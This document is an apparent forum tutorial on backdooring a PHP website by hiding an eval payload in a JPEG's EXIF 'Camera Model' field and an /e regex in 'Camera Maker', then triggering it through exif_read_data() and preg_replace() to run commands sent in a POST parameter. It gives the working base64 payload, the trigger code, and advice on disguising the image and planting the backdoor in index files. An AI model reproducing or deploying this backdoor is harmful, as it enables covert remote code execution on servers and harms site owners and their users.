EXIF data image backdoor (faisal theard)

Editing EXIF data can be used for several exploitation methods, such as shelling websites (getimagesize bypass via comment headers), and what we're going over today..

Remote Code Execution code on a server using a local or remote image, using 2 PHP functions.
For thist tutorial, you need shell access, a writeable directory,PHP 4.20 ---> PHP 5, and PREG_REPLACE enabled in your PHP configuration.

EXIF_READ_DATA()
The first function is called exif_read_data().

EXIF_READ_DATA()
Code:
array exif_read_data ( string $filename [, string $sections = NULL [, bool $arrays = false [, bool $thumbnail = false ]]] )

exif_read_data() reads the EXIF headers from a JPEG or TIFF image file. This way you can read meta data generated by digital cameras.

PREG_REPLACE()
The second function is calledpreg_replace().
PREG_REPLACE()
Code:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
Searches subject for matches to pattern and replaces them with replacement.

Now, EXIF headers can be modified using several programs (ColorPilot, EXIFPilot, EXIFEditor, GIMP, etc).
2 of the headers we're going to be using in this tutorial are 'Make'(Camera Maker), and 'Model'(Camera Model).
The reason these 2 are being used is - these fields being modified has no effect on the as far as display goes (the image will render normally with no errors on the page).
Now it is possible to store shellcode (malicious code) into these EXIF headers, using either a remote or local image uploaded on the web, and have the code executed on the local server using the PHP function exif_read_data().

Part 1: Creating Image

Open up paint, and create an image (something non suspicious, you don't want your backdoor hella obvious). You can use an image already hosted on the target site.
Now save it as whatever.JPG(IMPORTANT NOT EVERY IMAGE FORMAT CONTAINS EXIF DATA!!)
I'm saving mine as RCE.jpg for this example. (Remote Code Execution)

Part 2: Backdooring EXIF Data

Once you're done, now you're gonna place your malicious code into the EXIF headers.
Right click your image, go to properties, click details, and scroll down to where it says Camera.
Now where it says "Camera Model" - paste this snippet in there, so it looks like the above image.
Code:
eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsiUkNFIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJSQ0UiXSkpO30='));

Your shellcode is encoded in base64. Decoded, it looks like this.
Code:
eval(base64_decode('if(isset($_POST["RCE"])){eval(stripslashes($_POST["RCE"]));}));

This will code will EVALuate your base64-encoded string and check for POST data ("RCE"), being sent to the page later on.
Your payloads will go here.
The eval() function evaluates a string as PHP code.

EVAL()
Now where it says "Camera Maker" - paste this snippet in there so it looks like the above image.
Code:
/.*/e

/.*/e uses the PCRE regex modifier, which will EVALuate the data from your Camera Model using PREG_REPLACE()(later), executing the base64-encoded string which will check for POST data.
When your done, click apply and click ok.

Part 3: Checking The EXIF data

Right click your image, and go to Open With ~~> Notepad.
As you scroll over, you'll see random characters, and your EXIF headers in there somewhere too.
Now go to your local server,upload your image and create a new file (whatever.php). I'm gonna make a new directory called includes, and make a new index file in there.
Code:
http://www.site.com/includes/index.php

Place this code in your new file. This is where exif_read_data() comes into play. We're gonna dump the EXIF data, once again to check if it's in our headers.
Code:
<?php
$exif = exif_read_data('FULL/SITE/PATH/IMAGES/RCE.JPG');
var_dump($exif);
?>

Replace FULL/SITE/PATH with your site path of course if your using a local image file, or if you're using a remote image - change it to the URL of your malicious image.
Now save your new file, and open it up.

Part 4: Remote Code Execution!!

Now, you're all set. Go back to your created file, and edit it.
Place your PREG_REPLACE code into your file, under read_exif_data().
Code:
preg_replace($exif['Make'],$exif['Model'],'');

Your file should look like this.
Code:
<?php
$exif = exif_read_data('FULL/SITE/PATH/IMAGES/RCE.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
?>

Now save your file. Remember, your encoded string checks for a POST parameter called RCE. So enable POST data, and enter your commands under RCE.
Now you can put your backdoor code in any index file and use execute commands when you enable POST data.
Enjoy!